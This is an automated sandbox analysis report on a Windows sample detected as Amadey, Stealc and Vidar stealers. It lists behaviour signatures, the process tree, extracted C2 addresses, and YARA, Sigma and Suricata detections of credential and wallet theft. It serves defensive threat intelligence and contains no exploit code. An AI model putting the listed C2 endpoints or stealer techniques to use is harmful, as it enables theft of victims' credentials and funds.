Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1483358
MD5:	0ef35662abbe44cf6e064cb524b10742
SHA1:	e022ebfc8011cdda89bd682001807e87f29de564
SHA256:	5adcb9c55cb600170c65b603951ef9b4a9a6e6dd95a7eed765a371bf51d2719e
Tags:	exeStealc
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6880 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0EF35662ABBE44CF6E064CB524B10742)

cmd.exe (PID: 5356 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RoamingKJEGDBKFIJ.exe (PID: 6536 cmdline: "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe" MD5: AE367D31031D846711863B026D7E4889)

explorti.exe (PID: 5564 cmdline: "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" MD5: AE367D31031D846711863B026D7E4889)

659e6df34d.exe (PID: 7596 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe" MD5: 0EF35662ABBE44CF6E064CB524B10742)

WerFault.exe (PID: 7672 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7596 -s 1344 MD5: C31336C1EFC2CCB44B4326EA793040F2)

7bfd2dfdc1.exe (PID: 7796 cmdline: "C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe" MD5: 3FB40EAE7C0427693CBDA49E44991C48)

firefox.exe (PID: 8108 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cmd.exe (PID: 5280 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJKFHIIEHI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userIJKFHIIEHI.exe (PID: 3260 cmdline: "C:\Users\userIJKFHIIEHI.exe" MD5: A60C50F8BEE9EC4C4302415C6C3378A5)

axplong.exe (PID: 7412 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: A60C50F8BEE9EC4C4302415C6C3378A5)

WerFault.exe (PID: 3776 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 2344 MD5: C31336C1EFC2CCB44B4326EA793040F2)

explorti.exe (PID: 3500 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: AE367D31031D846711863B026D7E4889)

659e6df34d.exe (PID: 7856 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe" MD5: 0EF35662ABBE44CF6E064CB524B10742)

WerFault.exe (PID: 7932 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7856 -s 1040 MD5: C31336C1EFC2CCB44B4326EA793040F2)

7bfd2dfdc1.exe (PID: 8056 cmdline: "C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe" MD5: 3FB40EAE7C0427693CBDA49E44991C48)

firefox.exe (PID: 7916 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5236 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7860 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2164 -prefsLen 25307 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2a719b5-f369-4b52-b0ba-c60f02424b7d} 5236 "\\.\pipe\gecko-crash-server-pipe.5236" 2017196f110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8144 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8164 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3872 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7e2c2bbc-ae2f-4d63-ad2c-5195ac7123fd} 8164 "\\.\pipe\gecko-crash-server-pipe.8164" 25b37f6c110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

axplong.exe (PID: 1764 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: A60C50F8BEE9EC4C4302415C6C3378A5)

explorti.exe (PID: 6404 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: AE367D31031D846711863B026D7E4889)

659e6df34d.exe (PID: 352 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe" MD5: 0EF35662ABBE44CF6E064CB524B10742)

WerFault.exe (PID: 4460 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 352 -s 1316 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "85.28.47.31/5499d72b3a3e55be.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.31silence"}

Threatname: Amadey

{"C2 url": ["http://185.215.113.16/Jo89Ku7d/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.2480807062.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000002.2373035719.0000000000A81000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2386289151.0000000002578000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3389599424.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000002.2783199122.000000000267A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2390275517.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000002.2782304254.00000000025E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000F.00000003.2405534163.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000002.2782901057.0000000002661000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xc18:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2386180020.000000000255E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xf88:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.2479133674.000000000254E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xba0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000020.00000002.2760526662.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.3389689706.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2390137183.00000000040B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000003.2332387044.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2424174248.0000000000571000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2336215842.0000000004840000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2388154782.0000000005200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2608635245.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000015.00000002.2608393672.00000000026C1000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xc18:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.2479176591.0000000002567000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2431689835.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.2719030660.0000000005080000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2449142736.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.2702273695.0000000005270000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6880	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6880	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6880	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6880	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 659e6df34d.exe PID: 7596	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 659e6df34d.exe PID: 7596	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7bfd2dfdc1.exe PID: 7796	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 659e6df34d.exe PID: 7856	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 659e6df34d.exe PID: 7856	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7bfd2dfdc1.exe PID: 8056	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 33 entries

Unpacked PEs

Source	Rule	Description	Author
32.2.explorti.exe.8b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.explorti.exe.8b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.RoamingKJEGDBKFIJ.exe.a80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.userIJKFHIIEHI.exe.570000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.axplong.exe.6b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.explorti.exe.8b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.axplong.exe.6b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 5564, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\659e6df34d.exe

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 6880, TargetFilename: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 5564, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\659e6df34d.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:13.941737+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T03:19:20.688883+0200
SID:	2803304
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:07.791635+0200
SID:	2044245
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T03:19:33.880083+0200
SID:	2856147
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:09.556677+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.114.59.183 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:23.717616+0200
SID:	2022930
Source Port:	443
Destination Port:	49714
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:07.595139+0200
SID:	2044243
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:10.147359+0200
SID:	2009080
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:15.436106+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:15.704498+0200
SID:	2009080
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:08.969858+0200
SID:	2044248
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T03:19:37.681440+0200
SID:	2803305
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:16.051108+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:18.451045+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:17.496929+0200
SID:	2009080
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 185.215.113.16 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:35.347796+0200
SID:	2009080
Source Port:	80
Destination Port:	49723
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:15.040518+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:09.666383+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:09.562601+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:20:08.401206+0200
SID:	2044243
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054 - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:15.218011+0200
SID:	2002725
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:14.861419+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:15.217939+0200
SID:	2009080
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:09.578578+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:09.392908+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:07.786748+0200
SID:	2044244
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:09.915885+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T03:19:34.899422+0200
SID:	2803305
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.114.59.183 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:20:01.663232+0200
SID:	2022930
Source Port:	443
Destination Port:	49753
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:07.979523+0200
SID:	2044247
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T03:19:36.927193+0200
SID:	2044696
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:07.968205+0200
SID:	2044246
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:17.908478+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

